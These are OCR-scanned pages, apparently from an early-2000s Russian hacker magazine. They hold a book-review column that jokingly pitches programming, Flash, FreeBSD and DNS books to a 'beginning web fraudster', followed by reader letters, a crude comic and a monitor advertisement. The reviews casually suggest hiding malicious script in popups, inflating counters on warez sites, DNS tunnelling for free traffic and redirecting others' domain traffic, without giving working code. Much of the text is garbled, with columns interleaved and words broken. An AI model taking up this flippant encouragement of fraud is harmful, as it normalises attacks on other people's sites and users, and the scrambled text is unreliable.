жете сказать, что у меня паранойя; и я не смогу ничего ответить вам 
на это - я общался с Интернетом, как с живым, хотя понимал, что 
никаким разумом там и не пахнет. 
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КНИЖКИ 


Буки для начинающего веб-мошенника 


:), что летать охота - (с) Бу Водяной. И хочется чего- 

нибудь эдакое совершить, глобально-мощное... 
Совершить что-то хорошее-хорошее (ага, чтобы всем 
вокруг стало плохо). Эх, рука так и тянется сделать 
заподлянку ближнему своему... Ну что >, вперед, к победе 
коммунизма, как любил говаривать дедушка Ленин... 


П ришла весна, птички запели и так хорошо становится 


А. Матросов. НТМЕ 4.0 в подлиннике. - СПб. 
Издательство «ВН\У-СПб», 2000 г. - 672 с. 


«Ну зачем мне эта книга? - 
спросишь ты меня. - Номер 
для ньюби был уже». Хех, во- 
первых, повторение - как из- 
вестно, мать учения :), зак- 
репляем знания, так сказать; 
а во-вторых, на этот раз да- 
же такая простая, на первый 
взгляд, бука пригодится для 
создания паги с хитрым 
скриптом внутрях :). Ты, на- 
верное, не раз заходил на 
кряко-варезно-порнушные 
сайты с кучей попапов, выле- 
тающих там и тут. Да и на 
свой сайт, ты наверное, уже повесил парочку, но ведь ты 
же не сам кодил вылезание окон, ведь гораздо проще с 
файлового архива скачать примерчик и подставить туда 
свои параметры. А представь, что кодер и сам засунул 
туда немного вредоносный код... Что-то вроде трояна в 
трояне :). Ну так вот, без знания языка, на котором напи- 
сан этот скрипт, ты далеко не уедешь :), а для грамотно- 
го изучения уже готового исходника или если вдруг ты 
решишь создать свой скрипт под свои нужды :) пригодит- 
ся тебе вот эта книженция. Здесь рассмотрено создание 
сценариев на языках JavaScript и VBScript и объектно- 
ориентированные технологии и программирование на 
языке Perl, а также создание СС!-программ. Приводится 
довольно большое количество сведений о браузерах 
Netscape Communicator и Microsoft Internet Explorer, и, 
плюс ко всему, есть огромная таблица НТМ!-тэгов. А 
особо меня заинтересовала глава «Совместимость при- 
водов CD-ROM и программ для вычленения звуковых 
файлов»... Уж и не знаю, зачем она здесь нужна, но за- 
то это можно отметить в качестве бонуса :). 
Рекомендовано: всем кодерам паг. 
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Б. Сандерс. Эффективная работа: Flash 5. - М. 
Издательство «Питер», 2001 г. - 352 с. 


| Ты, наверняка, знаешь, что такое 
Flash и то, что в мультик можно 
вставлять свои скрипты (ну, 
собственно, без этого нормального 
клипа и не сделать). А ведь с каж- 
дой новой версией язык програм- 
мирования, встроенный во флэш, 
ширится и набирает обороты, обза- 
BOQACb НОВЫМИ ВОЗМОЖНОСТЯМИ И 
прочими примочками. В этой буке 
тебе расскажут, на мой взгляд, о са- 
мой лучшей программе создания 
векторной анимации - Macromedia Flash. Здесь ты найдешь 
описание возможностей этого монстра и просто огромное 
количество примеров по созданию профессиональной ани- 
мации. Рассмотрены особенности опубликования флэш- 
фильмов в Интернете и на компакт-дисках, разработка ин- 
терактивного интерфейса и многое другое... Но сегодня у 
нас другая задача - смонстрячить что-нибудь, с помощью 
чего можно будет «слегка» обхитрить соседа :)). И в этом 
качестве флэш сгодится, скажу я тебе, возьми и посмотри, 
сколько новых возможностей предоставляет язык 
ActionScript. Но рассказывать обо всем этом - не моя зада- 
ча, а я предлагаю тебе ознакомиться с этой литературой, 
которую ну никак нельзя упускать из виду. И изучив всю 
представленную (кстати говоря, очень грамотно и понятно) 
здесь информацию, ты без труда сделаешь шедевр реклам- 
ной мысли, встроив внутрь небольшой скриптик, который 
будет накручивать счетчики на твоем варез-сайте :). Ну и 
остается добавить только, что к книге прилагается ком- 
пакт-диск со всеми необходимыми приложениями, файлы 
поддержки и примеры, нужные для выполнения практичес- 
ких заданий. 

Рекомендовано: флэш-заподлянщикам :). 


Гудман Дэнни. JavaScript. Библия пользователя 
(+ CD-ROM). - М. Издательство Вильямс - 


Диалектика, 2002 г. - 960 с. 


Да, но все-таки предыдущая книга 
представляет собой что-то типа 
сборной солянки из кучи информа- 
ции по разным темам, а вот конкрет- 
но этот экземпляр позволит тебе ра- 
зобраться абсолютно во всех тон- 
костях изучаемого предмета (а конк- 
ретно - языка программирования 
JavaScript). Да, разберешься ты так, 
что будешь просто бить фонтаном 
фундаментальных знаний и, может, 
даже станешь довольно опытным 
программером. Но не думай, что раз такой размер буки, то 
и инфа там сложная и неперевариваемая; в общем-то, 
«книга рассчитана на самый широкий круг \\еб-дизайне- 
ров, которые решили освоить язык JavaScript или углубить 
свои знания в этой области». И по признанию издательства, 
«имеет все шансы завоевать титул полного справочного ру- 
ководства по JavaScript He только в умах разработчиков, но 
и в сердцах пользователей». Конечно, и сам объем книги 
предполагает самое наидетальнейшее рассмотрение на- 
верное всех средств разработки сценариев JavaScript, кото- 
рые применяются как в современных, так и в уже устарев- 
ших браузерах. Продвижение материала начинается с исто- 
рии и особенности JS, а заканчивается рассмотрением 
сложных приложений, которые используются для выполне- 
ния довольно серьезных и сложных задач. А особое внима- 
ние в книге уделено созданию скриптов, которые будут ра- 
ботать на большинстве существующих сегодня браузеров. 

Рекомендовано: если ты всерьез запарился с изучением 
JS, то советую обратить внимание на эту буку. 


Брайан Таймэн, Майкл Эбен. FreeBSD, 
Энциклопедия пользователя. - М. Издательство 
ДиаСофт, 2002 г. - 736 с. 


Для тебя, надеюсь, не является 
секретом, что большинство сер- 
ваков в современном Инете 
стоит под управлением одной 
из самых защищенных и шуст- 
рых осей - FreeBSD. Количест- 
во взломов этой системы по 
всяким разным источникам не 
превышает и 3%. Однако, если 
ты собрался более-менее нор- 
мально изучить структуру и ра- 
боту различных серверов, то 
без знания внутреннего устрой- 
ства операционки, под которой 
крутится сервак, на мой взгляд, не очень-то и получится. 
Да и потом многие вещи (вроде быстрой смены айпишни- 
ка и МАС) позволяют выполнять только *тхоподобные 
машины. А потом все-таки знание чего-то кроме выньдов- 
са морально поднимет тебя над соплеменниками - обыч- 
ными пользователями :). В данной книге подробно рас- 
сказано об инсталляции системы, управлении загрузкой, 
конфигурировании системы X-Window и важнейших поль- 
зовательских сервисах. Также предоставляется описание 
функциональных возможностей FreeBSD, в том числе ме- 
тодика настройки и сборки ядра. Освещаются вопросы по 
подключение к Internet, защите сетей и совместном ис- 
пользовании ресурсов. Ну и, в дополнение ко всему, бу- 
дет служить отличным справочником по настройке серве- 
ров Apache, Samba и DNS. 
Рекомендовано: для людей, осваивающих построение 
серверов на BSDe. 


П. Альбитц. DNS и BIND. - М. Издательство 


СИМВОЛ-ПЛЮС, 2002 г. - 690 с. 


Извечной проблемой яв- 
ляется поиск халявного 
Инета, и если ты сидишь 
в локалке, то особо ост- 
ро стоит вопрос с траф- 
фиком... Ho, как прави- 
ло, есть внутрисетевой 
DNS-cepBep, доступ к 
которому осуществляет- 
ся быстро и без ненуж- 
ных затрат на запросы. 
Ты же ведь всегда меч- 
тал устроить туннелиро- 
вание через этот самый 
сервак и абсолютно Юг 
free качать, качать и ка- 
чать варез, мпЗшки или еще что для души :). Или 
представь - зарегил твой знакомый себе домен, соз- 
дал прикольный дизигн, и толпа народа ежедневно 
тусуется Ha его паге, а ты никак не можешь раскру- 
титься и ощутить все прелести от накрутки рекла- 
мы... Опять же есть интересный выход - просто пе- 
ренаправлять все запросы к нему на свой сайт :). В 
общем, со службой DNS можно много всего приду- 
мать, а полностью изучить и освоить все тонкости 
доменной системы имен тебе поможет эта книга. 
Этот, так сказать, талмуд стал своего рода библией 
для системного админа, потому что абсолютно пол- 
ное содержание и особый авторский стиль, и доступ- 
ный способ изложения делают книгу незаменимой и 
актуальной для каждого, кто хочет наладить эффек- 
тивную работу DNS. Рассматривается множество 
полезной и актуальной информации, начиная с 
функциональности и принципов работы и заканчи- 
вая главами вроде «Обеспечение безопасности 
DNS». И как небольшой бонус можно выявить инфу 
про программирование для ДНС на перле, в общем 
книга нужная и полезная, так как большинство DNS- 
серваков в Инете работают именно под управление 
BIND’a. 

Рекомендовано: всем и обязательно. 


Редакция выражает благодарность магазину 
“Библио-Глобус” за предоставленные книги. 
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Респектыч!Спец! 


From: Hostein (Hostein@yandex.ru) 


Subject: Идея Я сразу ью на приветствие, так как вы, наверно, уже заколебались 
: читать всякие похвалы и лестные отзывы о вашем журнале 
Давнс л вам сказать, что вам пора создать свой сайт!!! Уже надо- 


ело заходить на СРОЩЕННный сайтхакера. У васуж ого опыта, и в принципе 
подумайте 
Р.Г. Niro убирать не надо, но гапррривет! 


когда он пишет фантастику-бу- ого тонкого намека на нашу рулезность я еще не ви- 


можете создать обалденный саит.. 


дущее с американскими име- ... Черт подери, заколебаться читать похвалы - это 

нами, очень тяжело читать рас- даже круче, чем умереть от оргазма :). Ну ладно, это мы завсегда успеем :))). 
сказ. Пусть лучше пишет про По поводу сайта Спеца - вте давние времена, когла я только пришел в журнал и осваивал азы ка- 
наших хакеров 7 масутры с редакторами, эта идея уже витала в воздухе. И если Obl нее хватило сил материализо- 
Последний комикс Грифа ваться, ты, наверно, никогда бы не прочел х ответов на твои письма, ибо я по идее должен был 
лабать дизигн и принимать обличие вебмастера :). Кстати, заготовки дизигна так и лежат у меня 


на хоумпаге в директории «/зре7», кому интересно - велкам :). Hy а пока сайт Спеца не появился 
(пока!), можешь навестить воскресший из мертвых http://winfo.org. Из сайта рубрики WINformation 
он постепенно преображается в подобие Спецового портала. По крайней мере в форуме иногда 
возникают совсем не виндовые диалоги :). 
Кстати, только что дал Ниро СПЕЦзадание - русифицировать все имена в стори. Так что готовься 
приходу Бульбы Сумкина и прочих Электродрелей. Гоблин форева, ламоботы маздай. Все. 


Даров, Спец! Я, конечно, присоединяюсь ко всем, кто 
Fram: GMBerkut Cgmberkut@atom.ru) кричит, MON, читаю вас с пеленок (им, видимо, лет по... 
Subject: Hy вот ща я зуплачу! =] 2), я вас читаю с год-полтора, обычно покупал ках 
выпуск, но в этом за февр алось. Tak фиш 
в разделе E-MAIL появились письма, аналогичные которым встречалисьвХ м 


том, что в мартовском Спеце 


ro ) назад! И вроде и письма-то не особо блещут оригинальностью, HO меня поразило другое, что Bb 

ра опубликовали их! Вот этим мне в принципе Х и не нравится, что в нем нет больше просто писем, ‹ - 
ных писем радости! Или там Центнер совсем «от рук отбился», или просто народ стал писать не для того, что- 
быс! ь пару слов любимому журналу, а чтобы появиться в рубрике е-майл! Ну вот куда это годится??? Ког- 
да все знают, если я не напишу что-то сверхуникальное, то меня не прочтут! 

Я никогда не думал вам писать. Пару раз отправил письма в Х, но и все равно! =( Я их даже с юбилеем поз- 


дравил, а они ( BOTA как 

аз дошел до плача! =] Ко- 5 Мафака, Беркут, что жты делаешь? Носовой платок 
оче, молодцы, ребята! To: GMBerkut (gmberkut@atom.ru) и тазик в студию, а то ведь затопит, мерзавец :))). 

зацикливаться на Я вот сижу и совершенно не знаю, что ж тебе та- 

письмах ое ответить... Если скажу, что да, ы публикуем все подряд - нас завалят письмами, со- 

ке к людям! стоящими из одного сабжа :). A есл у, что нет, ни фига, давайте, мля, мне нестандартный 

› уже дав подход и письма в хексах - то и кучу народа обиху, и с духом журнала вразрез пойду... Что ни го- 


ждый ме- вори, а простые письма (которые ты очень здорово обозвал «письмами радости»), известные в 

же к нам, про- узких кругах как «банальный фидбэ яются для нас особым видом энергии. То есть чувак, 
>PTHBIM читателям! оторый не проситхалявы, не вносит х мыслей натему «бей комикс - спасай Спец ине за- 
ги пива вам много! ставляет нас вчитываться в безграмотный текст, просто-напросто заряжает аккумуляторы ре- 


лакторов на пару-тройку делений :). потом мы, как кролики с батарейкой в заднице, начи- 
наем безбожно пинать авторов и выбивать из них интересные материалы, которые ты впослед- 
ствии прочитаешь, пропрешься и напишешь нам очередное письмо радости. Дялька Эйнштейн 
был прав - BOT OH, закон сохранения энергии в чистом виде. А чтобы тебе не было обломно ждать 
статей в разряженном состоянии (в тот момент, когда твою энергию юзаем мы :)), получай-ка ты 
TheBat! Может, OH децл скрасит твои дни от зарядки до зарядки... :). 
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From: Lisa Cirrrka@mail.ru) 
Subject: Пысьмо Cruna) 


Fram: coaleat Ccoalcat@tut.by) 


| Subject: no topic 


про взлом будет? 


вечером, ув 
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Спасибо вам за то, что вы есть. думаю, в новогоднем Спеце ты видела его в униформе :). Так BOT, если 
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СЦЕНАРИЙ И РИСУНКИ: 
ОЕТРЕОВЕА ХАКЕР. ВИ 


ЗОЕСЬ BCE COSDAHHO "ТАН" ты MRA 
DAS НАСЛАЖОЕНИЯ. В МАЛЕНЬКОЙ КАЕТКЕ._ 
ЖИЗНЬ ЗОЕСЬ В 10 РАЗ 
\ КРУЧЕ, ЧЕМ "ТАМ"! У НАС BYDET 5-ТИ ЗВЁЗРОЧНАЯ 
J КАЕТКА С ОЖАКУЗИ, С 3-Х 
РАЗОВЫМ ПИТАНИЕМ 
И МИНИ-БАРОМ. 


| ТЫ ЗА СВОЮ — \ 9 
ЖИЗНЬ ТАК НАМУЧИЛСЯ, 2 
ЧТО МЫ РЕШИЛИ, ЧТО 
ТВОЕ МЕСТО ВРАЮ! 


$ КЛЯНУСЬ НЕБЕСАМИ, 
УТ: ТЫ PAD, ЧТО МЫ 

`ТАМ" ТЕБЕ БЕЛАЛИ 5 а ЗА ВЫТАЩИЛИ ТЕБЯ С 
ОБЫЧНУЮ КЛИЗМУ... М Того СВЕТА" Il! 

ТУТ ТЕБЕ BYDYT DEAATb 

МЕГА-СУП ЕР-П УП ЕР 

АНАЛЬНОЕ 

ЗОНОИРОВАНИЕ!! 


КОНЕЦ 


Фут FLATRON', | 
freedom of mind : 
Digitally yours 


И все-таки OH вертится! 


FLATIRON" F?00P 


Абсолютно плоский экран 


4 D V; Размер точки 0,24 мм 
2 ‘ ; 7 Частота развертки 95 кГц 
ша ictoria Экранное разрешение 1600x1200 
(095) 252-2030, 252-2070 — 3В-интерфейс 


г.Москва: Атлантик Компьютерс (095) 240-2097; Банкос (095) 128-9022; Березка (095) 362-7840; ДЕЛ (095) 250-5536; Инкотрейд (095) 176-2873; Инфорсер (095) 747-3178; 
КИТ-компьютер (095) 777-6655; Компьютеры и офис (095) 918-1117; Компьютерный салон SMS (095) 956-1225; ЛИНК и К (095) 784-6618; НИКС (095) 974-3333; 
Сетевая Лаборатория (095) 784-6490; СКИД (095) 956-8426; Техмаркет Компьютерс (095) 363-9333; Ф-Центр (095) 472-6401; Flake (095) 236-9925; ISM Computers (095) 319-8175; 
OLDI (095) 105-0700; POLARIS (095) 755-5557; R-Style (095) 904-1001; г.Архангельск: Северная Корона (8182) 653-525; г.Волгоград: Техком (8442) 975-937; 
г.Воронеж: Сани (0732) 733-222, 742-148; г.Иркутск: Комтек (3952) 258-338; г.Липецк: Регард-тур (0742) 485-285; г.Тюмень: ИНЭКС-Техника (3452) 390-036. 
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WEB -> СЕТЕВОЕ МОШЕНИЧЕСТВО 


